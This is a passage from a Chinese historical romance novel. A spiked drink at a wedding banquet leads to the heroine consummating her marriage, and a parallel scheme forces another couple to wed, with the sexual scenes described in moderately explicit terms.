察觉到她的不自在,他顿了瞬,与她拉开距离,“好。” 外头噼里啪啦响起鞭炮声,文仪长公主喜道:“来了。” 喜婆的声音传入堂内,没多久,一对新人缓步走来。 礼官唱喝,他们在众位宾客的见证下拜了堂。 看着文仪长公主含泪的欣慰面容,萧婧华有些出神。 礼成,新娘被送入新房,她转身。 温热的手抓住她手腕,萧婧华蹙眉,“你做什么?” 陆埕问:“你去哪儿?” “去找筱筱和阿瑛。”她反问:“怎么,你也要去?” 陆埕松开手,抿唇道:“去吧。” 语气这么勉强是什么意思? 萧婧华鼻尖溢出一声轻哼,揉了揉手腕。 动作间,衣袖下滑,露出一截雪白皓腕。腕上有个印记在眼前一闪而逝,陆埕目光追随过去,可惜萧婧华已经将手放下了。 那是什么? 恍神间,萧婧华已经带着人离开。 他望着她的背影,微微出神。 …… 萧婧华在人群中寻找着云慕筱姐妹的身影。 刚瞧见人,有人快步走来,挡在她身前。 萧婧华挑眉,“这是作甚?” 纪初晴拉着她出了宴厅,将喧嚣甩在身后。 箬兰箬竹想跟上来,被她制止。 离得远了,待四下无人,她这才停了下来。 “做什么神神秘秘的?” 萧婧华无语。 “自然是好事。” 纪初晴道:“方代要倒霉了。” 萧婧华来了兴致,“怎么说?” 纪初晴厌恶皱眉,“你不知,那方代简直恶贯满盈,不知害了多少姑娘家的性命,罪行罄竹难书。他爹在甘州几乎算得上是土皇帝,那些姑娘家中吃了亏也只能硬生生咽下。多亏唐大人派人去查探,这才铲除了这只蠹虫。” 萧婧华满脸憎恶,“他爹呢?” “正被押送回京,等待大理寺审讯。” 纪初晴庆幸,“幸亏咱们将他送到了官府。” “是啊。” 萧婧华叹气。 想起什么,她眼尾一动,“这般说来,还得感谢你表妹。若非她撺掇着方代入京,说不准还抓不住这只臭虫。” 纪初晴嫌弃道:“谢她不如谢我。” “对了。”她笑着,“我定亲了。” 萧婧华一惊,“这么快,是何人?” “那日救美不成反被打晕的书生。” 纪初晴莞尔,“说来也巧,他是今年的状元。我爹对他很是赏识,想招他为婿。我瞧他人还不错,生得也好,便同意了。” 萧婧华问:“他多大年岁?” “比你家陆大人小上两岁。” 萧婧华蹙眉,“这个年纪还未成婚?你该不会被骗了吧,也许他在老家已有妻室,为了荣华富贵抛妻弃子?” 纪初晴气笑了,“你话本看多了吧。户籍上的婚配情状写得清清楚楚,再说一个穷书生,哪儿来的那么大能耐弄虚作假。若非已经打听好,我爹根本不会与我提起这事。” 她冷哼一声,“我看你就是见不得我好。” 纪初晴拂袖,愤然离去。 萧婧华悻悻摸鼻。 都怪丹晴最近给她送了什么穷酸书生抛妻弃子勾搭千金小姐的香艳画本,如此丧尽天良,她就不该看! 萧婧华转身。 回头就见身后不远处站了一人,影子绰绰落在地面。萧婧华被吓得不轻,捂着胸口面色微白,好险没叫出声。 那人一惊,快步走来。 “没事吧?” 萧婧华往后退,眉梢含怒,“宁小公爷在这儿作甚?” 宁拓无措,“我、我只是,只是……” 他只是太久没见她了,见她离开,不知不觉便跟了上来。 萧婧华心跳渐缓,见他支支吾吾说不出个所以然来,寒着脸就走。 宁拓连忙追上。 萧婧华不管他,进了宴厅便去寻云慕筱和谢瑛。 正在敬酒的姜玮见了她的身影,含笑向她走来。 今日娶妻,他眉宇间的喜悦久久不散,面色酡红,应是被灌得不轻,好在人是清醒的,从随行小厮端着的木盘上拿过酒壶,又取了个干净的杯子倒了半杯酒。 “听叔母说今日多亏了郡主帮忙招待,姜玮不胜感激,敬郡主一杯。” 新郎官敬酒,萧婧华自无拒绝之意,取过酒杯,和姜玮轻轻一碰,笑道:“祝愿玮哥与嫂子共谐连理、琴瑟和鸣。” 她仰头,一饮而尽。 “多谢郡主。” 姜玮爽快将酒饮完。 “小公爷,您去哪儿了?怎的我取个酒的功夫您就不见了。” 保福端着酒壶惊叫。 宁拓走近。 姜玮见了他恭声唤:“大舅兄。” 他斟了杯酒,神情认真,“我敬你一杯。姜玮向你保证,往后定会好好对待妙云。” 保福忙把手臂往前一递送出酒壶。 宁拓勾着酒壶,给自己斟满,“妙云是我唯一的妹妹,倘若你让她受了委屈,我绝不轻饶。” 酒杯触碰嘴唇,他喝下了。 姜玮忙道:“我定会珍视她、爱护她一生一世。” 他们两郎舅的事和萧婧华无关,脚步刚一动,宁拓将她叫住。 “郡主。” 他又倒了一杯酒,递向萧婧华,“方才郡主受了惊吓,我该向郡主赔罪。” 保福瞠目结舌,“小公爷……” 三个字一出口,又急急把话咽了回去。 萧婧华不动。 宁拓也不动,手臂稳稳落在空中。 保福紧张地咽了口唾沫,可惜谁也不曾注意。 宁拓扯出一抹苦涩笑意,“郡主成婚多时,我还未向郡主道一声新婚之喜。” 萧婧华缓缓转身。 他的样貌与初见时并无差别,只是那股蕴在眉间的精气神好似散了。仿佛缺了水的紫阳花,随着光阴逝去逐渐枯萎。 这又是何必呢。 痴情情痴,最是伤人。 萧婧华缓缓接过酒杯。 葱白指尖与他短暂相触,宁拓一颤,深吸口气,给自己倒满酒。 “我敬郡主一杯。” 那日窗边惊艳他的一抹光,他永远也不会忘。 “再敬郡主。” 无论什么原因,他终究是失约了。 “最后敬郡主,平安常乐。” 宁拓仰头,喉间滚动。 倘若他并非良人,可否再给我一个机会? 哪怕忤逆母亲,他也想…… 宁拓放下酒杯,眼眶微红。 人这一生说长不长,说短不短,他不想抱憾终身,也想为自己勇敢一次。 就这虚无缥缈的一次。 萧婧华捏着酒杯,缓缓送到唇畔。 唇瓣触碰到杯沿,酒气钻入鼻腔,她启唇,酒水顺着口腔滑入肚腹。 微拧下眉头,将酒杯放下,萧婧华浅浅一笑,“我原谅小公爷的过错。” 本就是君子之交,何必耿耿于怀。 宁拓双眸似等,一瞬点亮。 萧婧华对姜玮微颔首,转身缓步远离。 宁拓目光追随着她的背影。 “呲——” 酒壶碎了。 宁拓回神,皱眉望着手忙脚乱的保福,“怎么这么不小心。” “洒就洒了,再让人取一壶就是。”姜玮笑道。 宁拓没再多言。 恰有友人来敬酒,姜玮和宁拓打了声招呼,随他离开。 屋里热闹得紧,吵得宁拓有些头疼,带着保福去了外边。 吹了会儿风,他脑子忽然有些昏沉,浑身发热。 保福忙搀扶着他,“那酒烈得紧,您还喝了这么多。” 宁拓晃头,醉意丝毫不散,反而越演越烈。 保福道:“小的扶您去歇着吧。” 他“嗯”了一声。 不远处有人瞧见他后快步走来,“小公爷这是怎么了?” 保福道:“方才多喝了两杯。” 宁拓睁眼,依稀辨认出这是妹妹身边伺候的侍女,“你怎么在这儿?妙云呢?” 侍女道:“姑娘想吃翠玉丸子,吩咐奴婢来取。” “前边有间供宾客歇息的屋子空着,奴婢先送小公爷过去吧。” 宁拓不做他想,忍着醉意扶额应道:“好。” …… 寻了半天才见到人影,萧婧华快步走近。 箬兰箬竹站在云慕筱身后,见了她立即露了笑,“郡主。”听见声,云慕筱招呼她在身旁落座,问道:“你方才去了何处?” 一眨眼就不见了。 萧婧华撑着额头,“和纪初晴说了会儿话。” “是那个被誉为京城第一才女的丞相府千金?” 谢瑛凑过来。 “是啊。”萧婧华笑了,“你知道她?” “当然。” 谢瑛不服气,“什么第一才女,筱筱都没和她比试过,谁给她封的名号。” “当然是读书人。” 萧婧华笑,“她这人虽然最爱装模作样,但确有才气。” 谢瑛不满,“你怎么帮着外人说话。” 萧婧华靠在她身上笑。 笑着笑着,她蹙起眉。 云慕筱注意到了,“怎么了?” 萧婧华摇头,手背放在额上,一阵滚烫,“方才喝了两杯酒,大概是醉了。” 她的酒量现在这么差了? 抬手摸萧婧华绯红脸颊,云慕筱“嘶”了一声,“好烫。” 谢瑛也摸了下,顿时紧张道:“怎么烫成这样?要不我送你回去吧。” “国公夫人没走呢。”萧婧华闭眼摇头,“予安送我回去便可。” 她撑着桌沿站起。 脑中一阵天旋地转,身子无力下滑。 “郡主!” 箬竹箬兰齐声惊呼。 修长的手揽住少女柔软腰身,五指修长,手背线条流畅,青筋微微凸起。 陆埕皱眉,“怎么醉成这样?” 萧婧华倒在他怀里,闭着眼,双颊红似彩霞。 陆埕掌下收紧,低声问她,“还能走吗?” 她无力摇头。 拦腰将她抱起,陆埕对云慕筱和谢瑛微一颔首,“我先带她回去。” 云慕筱点头,“陆大人慢走。” 谢瑛目光担忧。 陆埕抱着人离开,箬兰箬竹忙跟上,孟年见了道:“大人,我来吧,你的伤还没完全好呢。” 陆埕避开他,“不用。” 孟年捏了捏鼻尖,坠在最后。 予安和觅真就候在长公主府外,见陆埕抱着萧婧华出来,纷纷直起身子,“郡主怎么了?” “醉了。” 陆埕匆匆带着萧婧华上了马车。 他倒了杯水,喂到萧婧华唇畔,“喝点水。” 萧婧华抱着杯子,咕咚几下喝完。 凉水入肚,似乎浇灭了不少从心底窜上来的热气,她挣扎着推开陆埕,“别碰我。” 开口时嗓音极哑,将她吓了一跳。 陆埕忙松开她,“我不碰,你慢些,当心磕碰着。” 萧婧华背对着他不做声,在榻上蜷缩起身子。 她觉得好热。 热得她喘不过气,昏昏沉沉的,心里莫名生出一股渴望。 她想要……想要什么? 车轮轧过石子,萧婧华的脑袋猛地往前撞去。 陆埕眼疾手快将手垫在她头上,顾不上疼,对外头道:“慢些。” “快些,我要回去。” 萧婧华闭着眼喊。 她紧紧咬着唇,用尽所有自制力才没抓住陆埕的手。 他触碰到她的瞬间,她竟然觉得,竟然觉得舒服。 她怎么会生出这样的想法? 萧婧华羞愤难当。 予安得了吩咐,疾速驾马而归。 马车停在陆府门口,陆埕伸手去抱萧婧华。 她拒绝,“我不要……” 冰凉的手触碰到手背肌肤,她打了个激灵。 陆埕抱她出了马车,这才问道:“什么?” 萧婧华已经说不出话来了。 热意窜到全身,烧得她神志不清。 脸颊贴着陆埕侧颈,她追逐着那股凉意,勾着他脖子的双臂不由收紧。 恍惚间,她听见陆埕的声音。 “去煮碗醒酒汤。” 紧接着,她的身体陷入松软中。 凉意离她而去,萧婧华心里一慌,紧紧抓着他不放。 陆埕蹙眉,看着她闭着眼,小脸通红地环住他的颈子,放低嗓音,“很难受?已经让人去煮醒酒汤了,喝了就好。” 萧婧华喃喃,“热。” 灼热气息打在颈上,陆埕手一抖,附耳去听,“什么?” 下一瞬,他整个人被扑倒在床上。 萧婧华压着他,一手拉扯领口,一手去拽他的衣裳。 “热,我好热……” 陆埕震惊,“婧、婧华?” 他攥住萧婧华两只腕子,制止她的动作,“你在做什么?” 萧婧华睁开迷蒙的眼,“什么?” 少女的发髻微微散乱,两绺长发垂在脸侧,双颊绯红,眸含水光,媚眼如丝。 衣领大开,脖颈白皙修长,半个肩头裸露,挂在上头的衣衫摇摇欲坠。 陆埕慌乱间将目光移向她眉间,终于发现了不对,“你吃了什么?” 他急急起身,“我去给你请御医。” 萧婧华猝不及防被他甩在床上,气急败坏道:“给我回来!” 陆埕头也不回,埋头就走。 身后传来低低一声呜咽,在寂静的室内分外清晰。 他僵住。 哭声渐大,陆埕僵硬折回去。 萧婧华咬着食指,哭得梨花带雨,双腿在床上乱蹭。 “……难受……我难受。” 陆埕站在床榻边,不敢触碰她,也不敢乱看,垂在两侧的手握紧,梗着脖子哄她,“御、御医来了就不难受了,婧华乖,你忍忍……” 温柔诱哄轻响。 泪水没入鬓间,萧婧华泪眼朦胧地注视着他清隽的脸,心里倏然生出一股恨意。 凭什么他永远不染纤尘,凭什么他永远冷冷清清的似云巅霜花,不下凡尘,不入俗世。 好似从始至终,只有她一人饱受折磨。 身体热得她快要炸了,有痒意从心底蔓延开来,可萧婧华的思绪却越发清明。 她要让这朵霜花染上她的气息,她要看着这张玉似的脸填满欲色,她要亲眼看着他,在她裙下沉沦。 重重喘了口气,萧婧华抬睫直视陆埕,嗓音沙哑到极致,“我不。” 她若不想,无人能让她忍。 “啪嗒——”金簪步摇珠花齐落地。 墨发披肩,轻衫拂落玉身,少女身子后仰陷在被中,似一抹冬日初雪,雪白无暇。 “我要你。” 萧婧华喘着气望着上方之人,琥珀似的眸中水光潋滟,眼尾红意旖旎。 最后一层衣衫尽褪,她撩起眼皮看他,神色睥睨,红唇张阖。 “取悦我。” 第92章 树影婆娑,落花被凉风吹落窗台。 帷幔轻扬,榻上两道人影若隐若现。 萧婧华出了一身的汗。 她仰头闭眼,汗珠顺着雪白长颈下淌,脸颊遍布红潮,脑中浑浑噩噩的似一团浆糊。 陆埕是个悟性极佳的学生,方才那回短暂又磕绊,现下却已渐入佳境。 力道一重,萧婧华两道长眉紧蹙,双睫颤抖着睁开。 琥珀色的眸子水光潋滟,姝色无边。 天色渐暗,屋里未点灯,她喘气抓住身上人的长发,斥道:“轻点。” 那人抬头,眼尾泛红,眸如墨云翻涌。 嗓音低哑,尾音似羽毛,轻轻在她心上拨弄。 “……难受?” 白浪无边,无穷无尽,萧婧华搂着他,摇头哑声道:“继续。” 陆埕动了。 萧婧华忍耐着,紧紧咬住唇。 “陆大人,醒酒汤熬好了。” 门外忽然想起箬兰的声音,他骤然停下,萧婧华指甲用力在他颈后留下几道红痕,唇边嘤咛险些溢出。 陆埕哑声回道:“不用了,你去歇着吧。” 箬兰疑惑,“郡主没事了?” “她睡……嘶……” 陆埕额上青筋直跳,怕伤着她,他徐徐吐出一口浊气,硬是忍着没动。 偏生身下那人似是忍耐不住,一个劲地缠着他。 陆埕抓住她两只腕子,止住她的动作,“她睡下了,今晚我守着她,你们都去歇息吧。” 勉强说完,姑娘温热的手臂紧紧缠住他,柔软腰身猛地用力,将他压下,与他共赴巫山。 箬兰皱着眉,附耳在门扉上。 箬竹走来,见她停在门外,不由问道:“怎么在这儿站着?” 箬兰迟疑,“陆大人说郡主睡下了,让我们今晚不用伺候。我听着屋里好像有动静。” 是什么她又说不上来。 箬竹凝神听了片刻,似是明了,雪白脸颊渐渐染红。 她面红耳赤退后,拉着箬兰离开,“既然让我们下去歇着,那就走吧。” 箬兰跟着走了两步,往回看着紧闭的房门,犹疑眨了两下眼。 …… 月明星稀,虫鸣不绝。 银辉照亮檐下路,清如流水。 “嘎吱——” 门开了。 陆埕披着外裳,端着灯走出屋子,阖上门,他径直去了厨房。 自从陆夫人他们搬去前院后,他们院里的厨房便极少用了,但柴火却是齐全的。 把灯放在灶台上,他取出火折子生火。 柴火噼里啪啦作响,陆埕盯着火光怔怔出神。 不知过了多久,锅里水声沸腾,他熄了火,将水兑温,一手端着铜盆,一手拿着灯回了屋。 深陷锦被里的少女已经熟睡,面上红意未褪,发丝湿答答地贴着侧脸。 浸湿帕子,陆埕拨开她的湿发,动作轻柔地缓慢替她擦拭。 睡着的萧婧华隐约察觉到什么,手臂从被子里探出,不耐一挥。 陆埕顺势替她擦拭。 擦到某处时,他停了下来。 少女白皙光洁的小臂上突兀地显出一个牙印,已经过去这么久,那牙印却跟昨日才印上去似的,鲜红刺目,横亘在她雪白肌肤上,碍眼得很。 陆埕力道微微加重。 可再怎么擦,那牙印都毫无变化,仿佛是她身体里自带的,融入她骨血之中,与她密不可分。 察觉到少女裸露在外的肌肤沾了凉意,陆埕连忙把她的手重新放进被子。 等替她擦完,他出了满身的汗。 放下帕子,陆埕从柜子里找出一套干净里衣,动作生疏又僵硬地替她套上。 做完一切,他靠坐在榻前,借着床头朦胧灯光凝视着萧婧华。 她睡得很熟,神情放松,长睫微湿,在眼下投射两道阴影。 夜已深,陆埕却丝毫没有睡意。 他在等。 等她醒来。 等一场审判。 …… 天光大亮。 萧婧华睁眼,直愣愣地盯着头顶床帐。 回忆着昨夜发生的一切,她默默地想,原来姿娘说的是真的。 这事,还真挺快活。 昨晚没怎么进食,又劳累一番,她现在饿得前胸贴后背。 刚直起身,腰间一阵酸软,萧婧华跌回锦被间,“嘶”了一声。 这动静惊动了床边之人,陆埕敛去疲惫神色,问道:“醒了?” “你怎么还在?” 萧婧华偏头看他一眼,飞快把脑袋转了回去。 “我……” 不等他说完,她将他打断,“让箬竹把饭送来,我好饿。” 陆埕抿唇,“好。” 他起身往外走,动作稍有凝滞,甚至一个踉跄。 好在他稳得快,适应两步后便恢复寻常。 听见声的萧婧华狐疑盯着他的背影。 他该不会一晚没睡,就在这儿守着? 大晚上不睡想做什么? 身上干爽,柔软里衣贴着肌肤,猜到这是陆埕给她换的,萧婧华有片刻的不自在。 不过想到该做的不该做的两人都做了个遍,她又释然了。 适应了会儿,萧婧华坐起身,趿着鞋站起。 双腿有些发软,她站了一会儿,趁人还没来,慢慢走到柜前,随意翻了身衣裳换上。 窗外响起人声,萧婧华正要往外走,视线一瞥,眼睛霎时瞪圆了,往床榻上飞扑过去。 动作太大,腿间一软,她整个人跪倒在床前。 “嘶……” 陆埕人未至,声已到。 “怎么了?” 他匆匆进来,见萧婧华倒地不起,连忙过去将她抱起放在床上。 “怎么样?摔到哪儿了?” 陆埕着急询问。 萧婧华摇头忍耐,“没事。” “怎么可能没事,你方才疼得都叫出了声。” “真的没事!” 萧婧华瞪着他,“那不是疼的。” 陆埕下意识追问:“那是什么?” 这人是真的不懂还是装的? 萧婧华咬牙憋出一个字。 “酸。” 陆埕指尖一颤。 他垂睫,出声时险些将舌头给咬了。 “难受得紧?” 萧婧华皱眉感受着,含糊应了一声。 “那怎么办?”陆埕迷茫问:“需要上药吗?” 萧婧华道:“也许……吧。” 记得姿娘她们提起过,好像是需要上药的。 目光交汇,两人都有些不自在。 陆埕喉头紧了紧,“我待会儿去、去问问娘。” “别。”萧婧华连忙拒绝,“问谁都行,但不准去问娘。” 停顿片刻,她补充,“还有我认识的人。” 陆埕匆忙点头。 视线错开,落在某处时,他瞳孔震颤,声线含了些抖。 “这、这是什么?” “什么?” 萧婧华看过去。 月白色被面被蹂躏得不成样,大朵绽放的幽兰中,血色分外明显。 她脸色瞬间涨红,慌里慌张把被子往里塞。 转过头,却见陆埕一脸执拗地看着她,似乎一定要从她口中得出一个答案。 萧婧华恼羞成怒,“落红!你总不可能不知道什么是落……” 话未尽,她懵了。 身前的人忽然俯身,大手放在她背部,紧紧将她拥住,力道大到几乎要将她融入骨血。 属于陆埕的气息源源不断涌来,萧婧华恍了神。 脑袋埋在她颈窝,陆埕紧紧抱着她。 那些放荡肮脏的话说得煞有其事,仿佛亲眼见过。陆埕不敢想,倘若她当真经历过,她当初是怎么撑下来的。 他无数次后悔,痛恨自己走得那么干脆,将萧婧华置于危险中。 此时此刻,他忽然庆幸。 庆幸她并未受到那种伤害,庆幸她没有承受那样的恐惧痛苦,心疼她的坚强,却又不耻于自己的卑劣。 昨夜,是他经受不住诱惑,在她并不清醒的情况下占有她,要打要骂,他都认。 各种情绪纷至沓来,陆埕眼眶微红,哑声开口,“对不起,我……” “郡主,您要的吃的来了。” 箬兰欢快的嗓音从门外传来,萧婧华猛地把陆埕推开。 箬兰眨眨眼睛,不解问:“怎么了?” “咳。”萧婧华咳了一声,“没什么,把东西放下吧。” 她正要下床,脸色忽然一变。 陆埕平复着情绪,低声道:“给我吧。” 他走向箬兰,接过她手里的食盒,旋即当着她的面关上房门。 箬兰:“?” 她一头雾水。 陆大人怎么奇奇怪怪的。 箬竹经过,见她直愣愣地站在门口,忙过去把她拉走,“郡主有条璎珞找不着了,你快跟我来看看。” “哦,好。” 箬兰忙回神。 屋里,陆埕将饭菜摆在榻上矮桌上,回头见萧婧华撑着床沿站起,忙过去将她抱起放在榻上。 萧婧华没拒绝他的好意,捏着筷子用膳。 稍稍垫了两口,胃里舒服些了,注意到陆埕站着,她随口问:“你不吃?” 昨晚体验不错,虽然现在身体有些不适,但在可承受范围内。总而言之,她挺满意的,连带着对陆埕都和颜悦色了几分。 陆埕摇头,“我不饿。” 他此刻忐忑不已,自然没什么心情进食。 萧婧华便不管了。 吃了个半饱,见陆埕还杵着,她道:“既然不饿,那你还不快去买药?记得多买些。” 陆埕猛地抬头,“多、多买些?” 萧婧华偏头咳了一声,随后理直气壮道:“这次用了,下次就不用了?” 她现下得了趣,正在兴头上,当然不可能只有这一次。萧婧华眸光渐冷,“怎么,你不愿意?” “你若不愿,我也不强求,反正有的是人心甘情愿。” “不是,我没有不愿,你别……” 陆埕急急出声。“……别找别人。” 说不清的情绪堆在脑中,他的思绪罕见地滞住了,深吸一口气道:“我现在就去。” 话落往门外走,罕见地同手同脚。 萧婧华朝他的背影白了一眼,接着吃。 用完膳,不见人来收拾,猜到箬竹或许已经察觉到了什么,萧婧华拍了拍发烫的脸,对外唤道:“来人。” 夏菱离得不远,快步进屋,“郡主吃好了?” 萧婧华点头,“去让箬兰打听打听,昨日长公主府的婚宴上可有什么事发生。” 她昨夜入口的东西屈指可数,思来想去,最可能有问题的也就只有那杯酒了。 那酒是宁拓递来的,他也喝了,倒是不像他动的手脚。 那药究竟是何人下的?目的究竟是她还是宁拓,亦或是他们二人? 萧婧华想不通。 夏菱收拾着碗筷,闻言应了一声。 她走后,萧婧华半倚在榻上休憩。 身上懒懒的,她不想动,索性拿了本名册看。 门外响起动静,箬竹的影子若隐若现,萧婧华飞快把名册盖在脸上,佯装沉睡。 箬竹进门来,见她在榻上睡着,安静地穿过内室,抱着被子往外走。 萧婧华舒了口气,取下名册。 按捺住漂浮不定的心思,她沉下心,逐渐认真。 将将看完,箬兰便回来了,脚步轻快步入里间,脆声道:“郡主,奴婢回来了。” 萧婧华忙问:“怎么样?” 箬兰摇头,“长公主府昨夜除了喜事,并无别的事发生。” 萧婧华怔住。 怎么会? 第93章 萧婧华再次确认,“你确定,昨日长公主府没有别的事发生?” “没有啊。”箬兰纳闷挠头。 那就奇了怪了。 同样喝了被下了药的酒,怎么宁拓一点事没有,她却跟个色中饿鬼似的折腾大半宿? 萧婧华揉了揉脸。 转念一想,宁拓毕竟没成婚,无论对象是谁,在妹妹新婚之日传出风韵事来怎么都不好听,他应该是躲过去了。 不能当面去问宁拓,又因在文仪姑姑府上,萧婧华怎么也不好插手查探。 毕竟在他们眼中,她和陆埕可是正正经经的夫妻,哪有夫妻成亲这么久不圆房的? 萧婧华叹了口气。 罢了,反正她又没吃亏。 这事就这么算了吧。 …… 宁拓披着外裳站在廊上。 黑发凌乱散着,发尾略显毛糙,赤着的精壮上身横亘着长长短短的红痕。 他面容呆滞,眸光涣散听着里头传来的哭声。 姜玮愁眉苦脸站在一旁,不时叹一口气。 宁妙云缓步走到他身旁,递出手中茶杯,柔声道:“喝口水吧。” 姜玮回神,接过茶杯,浅浅抿了一口。 “是哥哥给你们添麻烦了,怪我,若是早知如此,昨日我便不该让他送我出嫁。”宁妙云红了眼,眸泛水色,我见犹怜。 “此事是意外,怎么能怪你?再说了,哪有妹妹成婚,做兄长的不送嫁的?” 姜玮握住她的柔荑,“别自责了。” 宁妙云水眸盈盈望着他,将头放在姜玮肩膀上。 姜玮一手揽着他,心里发愁。 昨夜宁拓醉酒,被侍从引到客房休憩,谁知邹绮雯同样因不胜酒力,在此处歇息。 孤男寡女共处一室,醉酒后阴差阳错做了夫妻。 因着不光彩,文仪长公主第一时间瞒下此事,只通知了邹夫人与宁国公夫人。 兵荒马乱闹到现在,宁拓一言不发,邹姑娘一个劲地哭,双方也没个章程。 正想着,文仪长公主沉着脸从里间出来。 姜玮忙道:“叔母,怎么样了?” 姜驸马也看向妻子。 文仪长公主摇头,微不可察地看了宁妙云一眼。 大喜的日子闹出这种事来,她很是窝火,可将邹绮雯带到客房的是她长公主府的侍女,在这点上是她理亏,只能将火气憋进肚里。 对宁妙云这个往日里颇为满意的侄媳妇也多了几分迁怒。 在她身后,宁国公夫人快步走出,来到宁拓面前,狠狠捶他胸膛,恨声道:“你这混账!邹姑娘清清白白的姑娘家,哪怕你对她心生爱慕,却也不能做出这样的事来。你怎么对得起她,对得起你死去的爹!” 宁拓僵着身子,任由她捶打。 里间,邹夫人听着声,冷冷一笑。 一句假惺惺的爱慕,就能抵了她女儿受的委屈? 她低头,把邹绮雯揽进怀里,替她拭去脸上的泪。 “告诉娘,你可还喜欢宁拓?” 邹绮雯流着泪。 这种事被人撞见,她委屈难堪。可想起昨夜少年结实火热的身躯抱着她抵死缠绵,眼中又掺杂了一缕羞涩。 将她的神色尽收眼底,邹夫人低骂,“你这不争气的,身子给了他,心也守不住!” “娘。” 邹绮雯羞愤钻进母亲怀抱。 邹夫人冷静下来,细细询问昨夜经过。 问完,她冷笑一声,“这宁家姑娘还真和她娘一条心,刚嫁进来就敢在长公主的眼皮子底下耍阴招,也不怕长公主不待见。” “娘,您是说……” 邹绮雯本就聪慧,一点即通,“妙云给我的那杯酒有问题?” “岂止是那杯酒,你怎么刚好就进了宁拓的屋子,这里边可有的讲究。” 邹夫人问:“宁拓想来是被蒙在鼓里,可看他娘为了让他娶你,不惜使出这种手段便知,他对你并无意。即便如此,雯儿,你也愿嫁?” 邹绮雯沉默片刻,随后坚定道:“娘,我愿意。” 不仅因为她爱慕宁拓,愿意嫁他为妻,更因他人品贵重,前途坦荡。 他能给她尊重,给她荣华富贵,她有何缘由不嫁? 邹绮雯离开母亲的怀抱,笑容灿然,“宁国公夫人算计我,可我也握住了她的把柄。娘,往后您就等着看吧。” 看她如何站稳脚跟,将宁拓和整个国公府握在手中。 邹夫人欣慰笑了,“这才是我的女儿。” 她摸了摸邹绮雯哭得通红的脸,怜惜道:“娘祝你一臂之力。” 起身走到门口,停了片刻,开门的一瞬间,邹夫人眼里已含了泪,带着满脸怒意走到宁拓面前,狠狠甩了他一巴掌。 “混账!我好好的女儿就这么被你糟蹋了,你要她往后怎么办?!” “我精心教养长大的女儿啊!”邹夫人哭着怒骂,“怎么就遇上你这么个畜生!” 从醒来后便陷入沉默的宁拓指尖一颤,垂首哑声道:“是我的错。” “夫人放心。” 精致明媚的脸在眼前消散,宁拓心口生痛,用尽全身力气道:“我会迎娶邹姑娘。” …… 陆埕踏入医馆。 在他身后,宁国公府的马车沿着街道驶过,用绸缎做的精贵车帘被风吹起一个角,宁拓颓丧呆滞的脸一闪而逝。 寻了熟悉的老大夫,陆埕等在队伍中。 好在前头没几个人,他进了里间,抬手将门关上。 老大夫望他一眼,又几分稀奇,“什么病症?” 话落,他扬扬眉,调侃道:“该不会又是哪伤着了?” 陆埕清了清嗓子,张了张唇,却不见一个音。 老大夫等了片刻,见他始终不开口,嫌弃摆手,“没病就出去,别耽误人看病。” 陆埕耳根发红,不再扭捏,“有没有女子……房事……的药。” 他话说的磕磕绊绊,但老大夫活了这么些年,什么没见过,起身往外走。 陆埕补充,“分量多些。” 老大夫目光奇异,上下扫了眼陆埕,背着手出去了。 没多久,他拿了个包裹进来,“看看这些够不够。” 陆埕打开一看,足足有十来个瓶瓶罐罐,他喉间一梗,“……够了。” 老大夫啧声,“年轻人,还是节制些。” 陆埕目光躲闪,面色极不自然。 老大夫没忍住笑了,从柜里翻出一本书,“看在相识这么久的份上,送你了,回去好生学学。” 陆埕隐约意识到这是什么书,耳廓红意蔓延。 老大夫挥手赶人,“行了,东西拿了就赶紧走,别耽误我看诊。” 陆埕抿唇,低声道:“可否再为我配味药?” …… 陆埕回去时,萧婧华正在榻上不知写着什么,双眉皱着,很是苦恼。 见了他,她将宣纸推开,嫌弃道:“你怎么才回来?” “路上耽搁了会儿。” 陆埕走过去放下包裹。 萧婧华打开,从里边拿出一个小瓷圆瓶。 瓶身光洁细腻,打开一看,里头装着乳白色药膏,闻着还有股淡淡的香味。 陆埕喉咙发紧,“要我帮你吗?” 萧婧华耳后根一烫,“不用,你出去。在门外守着,不准人进来。” 陆埕:“……好。” 等他出去,萧婧华拿着药膏,慢慢挪到床上。 帷幔放下,遮挡住榻上风景。摸索着上完药,萧婧华擦去额上的汗,缓缓舒出一口气。 她下了床,将药膏收好。 一本书从包裹间抖落。 萧婧华弯腰捡起,望着封皮上的《大盛山图志》几个字,细眉微微一拧。 原来是这样耽搁了。 给她买药还能不忘去书铺,真有他的。 萧婧华小步走到门口,开了门,一把将书拍到陆埕胸前,语气不善,“你的书落了。” 陆埕一怔,刚把书接过,房门已在他眼前阖上。 站了片刻,他回了书房。 犹豫许久,陆埕终究还是把书打开了。 画面入眼,白皙耳根瞬间变得通红。 勉强将书翻了一半,陆埕慌慌张张寻了个隐秘的角落妥帖放好,吐出一口浊气,取出刻刀和白玉,低头雕刻。…… 工部三人各自选定了书院建址,萧婧华带着云慕筱亲自去看了。 一处是荒废的书院,一处挨着陆旸所在的青山书院,另外一处则是一座荒山。 萧婧华有些犹豫,问云慕筱,“你说何处比较好?” 云慕筱道:“都有优势,端看你如何取舍。” 第一处虽已荒废,但在原有基础上修缮很是方便,第二处离青山书院不远,周边多村庄,来往也方便。荒山的位置居中,其主原是一名三品官员,他家犯事后那山充了公,此时正归属朝廷。 萧婧华犹豫半晌,“就第三处吧。” 云慕筱也比较属意第三处,从地理位置上来看,它怎么都是最好的。 “只是选了它要费力许多。” “无碍。” 萧婧华笑,“一点一点来,咱们不着急。” 云慕筱莞尔,“好。” 选定好了位置,萧婧华便让工部三人设计书院图纸,同样是三选一,择其优。 三人领命,各自散去。 回京之后,萧婧华马不停蹄去了工部,买下那座荒山。 文书到手后,她辞别梁宏,出了大门后钻进停在街边的马车。 云慕筱一直在等她,见她上来,忙递上一盏茶。 萧婧华仰头喝了,舒了口气,“明日我就回王府把汤公公借来。” 那山着实有些荒芜,开山也得费些功夫。 “对了。” 萧婧华偏头看向云慕筱,“过两日我要去拜访山文君,你可要和我一道?” “谁?”云慕筱惊了,一把抓住萧婧华的手,激动道:“山文君?” 梁门山家的名气比起云家丝毫不落下风,因其传承已久,底蕴甚至还要深厚许多。 这位山文君单字一个微,其祖父乃是前朝大儒,她自幼跟随祖父游历山水,才气逼人,一首兰君赋惊艳世人,引得无数读书人拍手叫绝。 在当时,除了新昌大长公主,山家文君的风采无人能及,直到她成婚生子,才逐渐淡出世人视线。 “没错,就是山微。” “我去,一定去。”云慕筱应声,眼中泛着光亮。 叔父口中的山文君惊才绝艳,她仰慕已久,可惜她隐居多年,无法得见。 